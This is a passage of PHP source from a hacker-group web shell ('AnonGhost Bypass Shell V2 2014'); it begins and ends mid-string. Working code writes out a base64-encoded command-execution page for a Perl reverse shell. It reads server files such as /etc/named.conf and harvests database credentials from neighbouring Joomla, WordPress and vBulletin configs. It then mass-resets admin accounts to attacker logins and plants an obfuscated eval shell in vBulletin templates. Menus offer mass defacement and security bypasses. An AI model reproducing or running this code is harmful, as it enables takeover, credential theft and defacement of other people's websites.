CAtd2Via2l0LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgfQkgIGlucHV0W3R5cGU9c3VibWl0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzcwOyAgZm9udC13ZWlnaHQ6IGJvbGQ7IHRleHQtYWxpZ246IGNlbnRlcjsgIHRleHQtc2hhZG93OiAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7ICBiYWNrZ3JvdW5kOiAjYWVhZWFlOyAgYmFja2dyb3VuZC1jbGlwOiBwYWRkaW5nLWJveDsgIGJvcmRlcjogMXB4IHNvbGlkICMyODQ0NzM7ICBib3JkZXItYm90dG9tLWNvbG9yOiAjMjIzYjY2OyAgYm9yZGVyLXJhZGl1czogNHB4OyAgY3Vyc29yOiBwb2ludGVyOyAgYmFja2dyb3VuZC1pbWFnZTotd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2VhZWFlYSwgI2QwZDBkMCk7ICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7IH0gaW5wdXRbdHlwZT10ZXh0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwOTkwMDsgdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA3NzAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7fSBpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIsIGlucHV0W3R5cGU9dGV4dF06aG92ZXJ7IGNvbG9yOiAjZmZmZmZmOyB0ZXh0LXNoYWRvdzogIzAwNjYwMCAwcHggMHB4IDRweDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwZGQwMDsgYm9yZGVyOiAxcHggc29saWQgIzAwZGQwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gc2VsZWN0eyBwYWRkaW5nOiAzcHg7IHdpZHRoOiAxNjJweDsgY29sb3I6ICMwMGFhMDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGFhMDA7ICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4O30gc2VsZWN0OmhvdmVyeyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9ICAgI2NvbW1hbmRzeyBtYXJnaW4tbGVmdDogMzUwcHg7IG1hcmdpbi1yaWdodDogMzUwcHg7IH0gb3B0aW9ueyBjb2xvcjogIzc3Nzc3NzsgfTwvc3R5bGU+DQo8P3BocA0KZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0iIzAwNzcwMCIgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij5Vc2FnZTogcmV2ZXJzZS5wbCBbSG9zdF0gW1BvcnRdPC9mb250Pjxicj4nOw0KZWNobyc8cCBhbGlnbj0iY2VudGVyIj4gDQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3OS4wenowLmNvbS8yMDE0LzA4LzIwLzE5LzQ3MDA3MTkzOS5wbmciPjwvcD48Zm9udCBmYWNlPSJHZW5ldmEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjIiIGNvbG9yPSIjMDA3NzAwIj4gQ29kZWQgQnkgTWF1cml0YW5pYSBBdHRhY2tlciA8L2ZvbnQ+PGJyPg0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHRleHRhcmVhIGNsYXNzPSJhcmVhIiByb3dzPSIxMyIgbmFtZT0iUzEiIGNvbHM9IjcwIiA+JzsNCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpew0KZWNobyAkX0dFVFsnZXhlY21ldGhvZCddKCRfR0VUWydjb21tYW5kJ10pO30NCmlmIChzdHJsZW4oJF9QT1NUWydjb21tYW5kJ10pPjEgJiYgJF9QT1NUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpew0KZWNobyAkX1BPU1RbJ2V4ZWNtZXRob2QnXSgkX1BPU1RbJ2NvbW1hbmQnXSk7fQ0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXT09InBvcGVuIil7DQpwb3BlbigkX0dFVFsnY29tbWFuZCddLCJyIik7fQ0KDQplY2hvJzwvdGV4dGFyZWE+DQo8cD48Y2VudGVyPklmIG5vdGhpbmcgd29yayBpdCBtZWFucyB0aGF0IHBlcmwgaXMgbm90IGVuYWJsZWQgaW4gdGhpcyBzZXJ2ZXIgOig8L2NlbnRlcj48L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48c3Ryb25nPkNvbW1hbmQ6IHBlcmwgcmV2ZXJzZS5wbCB5b3VySVAgUG9ydDwvc3Ryb25nPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ2dyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNDMiPiA8c2VsZWN0IG5hbWU9ZXhlY21ldGhvZD4NCjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQo8L3A+PC9mb3JtPic7DQo/Pg==';
$file = fopen("kit.php" ,"w+");
$write = fwrite ($file ,base64_decode($zonop));
fclose($file);

echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Perl Connect Shell Priv8</span></b><center><br><iframe src=Backperlrev/kit.php width=75% height=60% frameborder=0></iframe></div></center>";
}

if(isset($_GET['action']) && $_GET['action'] == 'joomla'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin Joomla</span><center><br>';
if(isset($_POST['s'])){

$file = @file_get_contents('joomla.txt');

$ex   = explode("
",$file);


echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Configs </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td></div>";
flush();


foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).'';

$readconfig  = @file_get_contents(trim($config));

if(ereg('JConfig',$readconfig)){


$pass    =  ex($readconfig,'$password = \'',"';");
$userdb  =  ex($readconfig,'$user = \'',"';");
$db      =  ex($readconfig,'$db = \'',"';");
$fix     =  ex($readconfig,'$dbprefix = \'',"';");
$tab     =  $fix.'users';
$con     = @mysql_connect('localhost',$userdb,$pass);
$db      = @mysql_select_db($db,$con);
$query   = @mysql_query("UPDATE `$tab`  SET `username` ='virusa'");
$query3  = @mysql_query("UPDATE `$tab`  SET `password` ='0a3329119bf465dce95057a37ec91152:TL1fIDogLJU4bHHcgQWETu8GN67fUd8'");
if ($query and $query3 ){$r = '<b style="color: #ee5500">Succeed </b>user [virusa] pass [worm]</b>';}else{$r = '<b style="color:red">failed</b>';}
$domins = trim($domin).'';
echo "<tr>
<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
<td><div class='cone'><a target='_blank' href='$config'>config</a></td><td>".$r."</td></div></tr>";
flush();

}else{

echo "<tr>
<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
<td><div class='cone'><a target='_blank' href='http://$exp'>config</a></div></td><td><b style='color:red'>failed</b></td></tr>";
flush();

}
}

die();

}

if(!is_file('named.txt')){

$d00m = @file("/etc/named.conf");

flush();

}else{

$d00m = file("named.txt");

}
if(!$d00m)
{
die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
}
else
{
echo "<br><div class='tmp'>
<form method='POST' action='$pg?action=joomla'>
<input type='submit' value='Mass change Admin' />
<input type='hidden' value='1' name='s' />
</form><br>
<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Config </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td>";

$f = fopen('joomla.txt','w');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all('#zone "(.*)"#', $dom, $domvw);

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));


$wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/configuration.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/configuration.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sim/rut/home/".$user['name']."/public_html/joomla/configuration.php";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];


$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();

$dom = $domvw[1][0];

$w = fwrite($f,"$config||$dom 
");
if($w){$r = '<b style="color: #ee5500">Save</b>';}else{$r = '<b style="color:red">failed</b>';}

echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
<td><div class='cone'><a href='$config'>config</a></div></td><td>".$r."</td></tr>";

flush();

}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET['action']) && $_GET['action'] == 'wp'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin Mass WordPress</span><center><br>';
if(isset($_POST['s'])){

$file = @file_get_contents('wp.txt');

$ex   = explode("
",$file);

echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Configs </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td></div>";
flush();
flush();


foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).'';

$readconfig  = @file_get_contents(trim($config));

if(ereg('wp-settings.php',$readconfig)){



$pass    =  ex($readconfig,"define('DB_PASSWORD', '","');");

$userdb  =  ex($readconfig,"define('DB_USER', '","');");

$db      =  ex($readconfig,"define('DB_NAME', '","');");

$fix     =  ex($readconfig,'$table_prefix  = \'',"';");

$tab     = $fix.'users';

$con     = @mysql_connect('localhost',$userdb,$pass);

$db      = @mysql_select_db($db,$con);

$query   = @mysql_query("UPDATE `$tab` SET `user_login` ='virusa'") or die;

$query   = @mysql_query("UPDATE `$tab` SET `user_pass` ='$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;



if ($query){$r = '<b style="color: #ee5500">Succeed </b>user [virusa] pass [1]</b>';}

else

{

$r = '<b style="color:red">failed</b>';

}

$domins = trim($domin).'';

echo "<tr>
<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
<td><div class='cone'><a target='_blank' href='$config'>config</a></div></td><td>".$r."</td></tr>";

flush();
flush();

}else{

echo "<tr>
<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
<td><div class='cone'><a target='_blank' href='http://$config'>config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";

flush();
flush();

}
}

die();

}

if(!is_file('named.txt')){

$d00m = @file("/etc/named.conf");

}else{

$d00m = @file("named.txt");

}
if(!$d00m)
{
die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
}
else
{
echo "<br><div class='tmp'>
<form method='POST' action='$pg?action=wp'>
<input type='submit' value='Mass Change Admin' />
<input type='hidden' value='1' name='s' />
</form>
<br>
<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Config </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td>";

flush();
flush();

$f = fopen('wp.txt','w');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all('#zone "(.*)"#', $dom, $domvw);

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));

$wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp-config.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/wp-config.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp/wp-config";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];

$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();

$dom = $domvw[1][0];

$w = fwrite($f,"$config||$dom 
");
if($w){$r = '<b style="color: #ee5500">Save</b>';}else{$r = '<b style="color:red">failed</b>';}

echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
<td><div class='cone'><a href='$config'>Config</a></div></td><td>".$r."</td></tr>";
flush();
flush();

flush();

}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET['action']) && $_GET['action'] == 'vb'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin vBulletin</span><center><br>';
if(isset($_POST['s'])){

$file = @file_get_contents('vb.txt');

$ex   = explode("
",$file);

echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b><font></td><td> <font color='#e4e4e4'><b>Configs </b><font></td><td> <font color='#e4e4e4'><b>Result </b><font></td></div>";

foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).'';

$readconfig  = @file_get_contents(trim($config));

if(ereg('vBulletin',$readconfig)){

$db      =  ex($readconfig,'$config[\'Database\'][\'dbname\'] = \'',"';");

$userdb  =  ex($readconfig,'$config[\'MasterServer\'][\'username\'] = \'',"';");

$pass    =  ex($readconfig,'$config[\'MasterServer\'][\'password\'] = \'',"';");

$con     = @mysql_connect('localhost',$userdb,$pass);

$db      = @mysql_select_db($db,$con);

$shell   = "bVDPS8MwFL4L/g+vYZAWdPPiaUv14kAQFKqnUUqapjSYNKFJxCn7322abgzcIfDyvl+P7/qKs04D3tS5sJ96MMJ9b+ohDw8vTWcq31PF02yJp/WqzvEaZk2rBwWUOaF7ghAo7jrdEGS0dQh4z9zecIKUl04YOrhV4N821FEEwZQgb6SmDR8QiObsdxYheuMdRKNWSH5UxtmKn3G+v0P5TIxgNTqhWWR9rYSLAXH/RaUfgY8pbVROZ4VI0aawqN5ei/cdDlRcAiFwJEIGv4HyyLTZp4tq+/zyVOxwOASXO+yUqUI6Lm/gHxiBLDic6o62UHjGuLWQJEko99T9Gg7ApeUXJFsq5EX+AR7yPw==" ;

$crypt  = "{\${eval(gzinflate(base64_decode(\'";

$crypt .= "$shell";

$crypt .= "\')))}}{\${exit()}}</textarea>";

$sqlfaq = "UPDATE template SET template ='".$crypt."' WHERE title ='FAQ'" ;

$query  = @mysql_query($sqlfaq,$con);


if ($query){$r = '<b style="color: #ee5500">Succeed</b> shell in search.php';}
else
{
$r = '<b style="color:red">failed</b>';
}
$domins = trim($domin).'';
echo "<tr>
<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
<td><div class='cone'><a target='_blank' href='$config'>Config</a></div></td><td>".$r."</td></tr>";

}else{

echo "<tr>
<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
<td><div class='cone'><a target='_blank' href='http://$config'>Config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";
}
}

die();

}

if(!is_file('named.txt')){

$d00m = file("/etc/named.conf");

}else{

$d00m = file("named.txt");

}
if(!$d00m)
{
die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
}
else
{
echo "<br><div class='tmp'>
<form method='POST' action='$pg?action=vb'>
<input type='submit' value='Inject shell' />
<input type='hidden' value='1' name='s' />
</form>
<br>
<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Config </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td>";

$f = fopen('vb.txt','w');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all('#zone "(.*)"#', $dom, $domvw);

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));

///////////////////////////////////////////////////////////////////////////////////

$wpl=$pageURL."/sim/rut/home/".$user['name']."/includes/config.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sim/rut/home/".$user['name']."/vb/includes/config.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sim/rut/home/".$user['name']."/forum/includes/config.php";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];


 ////////// vb ////////////

$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();
$dom = $domvw[1][0];
$w = fwrite($f,"$config||$dom 
");
if($w){$r = '<b style="color: #009900">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
<td><div class='cone'><a href='$config'>Config</a></div></td><td>".$r."</td></tr>";
flush();
}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET['action']) && $_GET['action'] == 'abot'){
echo '
<br><center><img src="http://www7.0zz0.com/2014/08/22/20/260354169.png"></center><center>
<span style="font-size:30px; font-family:Fredericka the Great; color:#009900">AnonGhost Bypass Shell V2 2014</span><br><font color="#008800" size="1pt">Coded by </font><font  color="#00bb00" size="1pt">Virusa Worm</font> <font color="#006600" size="1pt">-</font> <font color="#00bb00" size="1pt">Mauritania Attacker</font> <font color="#006600" size="1pt">-</font> <font color="#00bb00" size="1pt">GrenCoder</font><br><br><br><font color="#007700" size="1pt">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font> <br><br><font color="#009900" size="1pt">At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.</font><br><font color="#009900" size="1pt">The term has now changed known as a Defacer nowadays.<br>Tools does not Made Hackers , Hackers make Tools.<br>Do not Learn To Hack , Hack to Learn.wkkwk..<br><br><font color="#00ff00" size="1pt">"</font>Keep Calm and enjoy Hacking \!/<font color="#00ff00" size="1pt">"</font><br><br><br><font color="#007700" size="1pt">Special thankz to : </font><font color="#00bb00" size="1pt">AnonGhost Team</font><br>
<center><div class="logindiv"><table cellpadding="7" cellspacing="2">
<center><br><iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:350px; height:20px;" allowTransparency="true"></iframe></center></table></div></center><br>
<font color="#009900" size="1pt">Greetz to : </font><br><font color="#00bb00" size="1pt">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color="#007700" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color="#007700" size="1pt">[pasangan galo.. lol..]]</font><br></font></center>
';
}

if(isset($_GET['action']) && $_GET['action'] == 'read'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Read /etc/passwd</span><center><br>';
echo "<br><form method='post' action='?action=read&save=1'><textarea class='area' cols='80' rows='15' name='file'>";
flush();
flush();


$file = '/etc/named.conf';


$w0co = @fopen($file, 'r');
if ($w0co){
$content = @fread($w0co, @filesize($file));
echo "".htmlentities($content)."";
}
else if (!$w0co)
{
$w0co = @show_source($file) ;
}
else if (!$w0co)
{
$w0co = @highlight_file($file);
}
else if (!$w0co)
{
$sm = @symlink($file,'sym.txt');


if ($sm){
$w0co = @fopen('sim/sym.txt', 'r');
$content = @fread($w0co, @filesize($file));
echo "".htmlentities($content)."";

}
}

echo "</textarea><br /><br /><input  type='submit' value='Save'/> </form>";


if(isset($_GET['save'])){

$cont = stripcslashes($_POST['file']);

$f = fopen('named.txt','w');

$w = fwrite($f,$cont);

if($w){

echo '<br />save has been successfully';

}

fclose($f);

}
}

if(isset($_GET['action']) && $_GET['action'] == 'bforb'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path with system function</span><center><br>';
mkdir('bforb', 0755);
chdir('bforb');
$bforb = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBCeXBhc3MgUm9vdCBQYXRoIGJ5IFZpcnVzYSBXb3JtPC90aXRsZT48L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBmb250LWZhbWlseTpDb3VyaWVyCW1hcmdpbi1sZWZ0OiAwcHg7IG1hcmdpbi10b3A6IDBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBOZXc7Zm9udC1zaXplOjEycHg7Y29sb3I6IzAwOTkwMDtmb250LXdlaWdodDo0MDA7fSBhe3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpsaW5rIHtjb2xvcjojMDA5OTAwO30gYTp2aXNpdGVkIHtjb2xvcjojMDA3NzAwO30gYTpob3Zlcntjb2xvcjojMDBmZjAwO30gYTphY3RpdmUge2NvbG9yOiMwMDk5MDA7fSAtLT48IS0tIE1hZGUgQnkgVmlydXNhIFdvcm0gLS0+PC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgZWNobyAiPGNlbnRlcj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQnlwYXNzIGl0JyBuYW1lPSd2aXJ1c2EnPjwvY2VudGVyPiI7IGlmIChpc3NldCgkX1BPU1RbJ3ZpcnVzYSddKSl7IHN5c3RlbSgnbG4gLXMgLyB2aXJ1c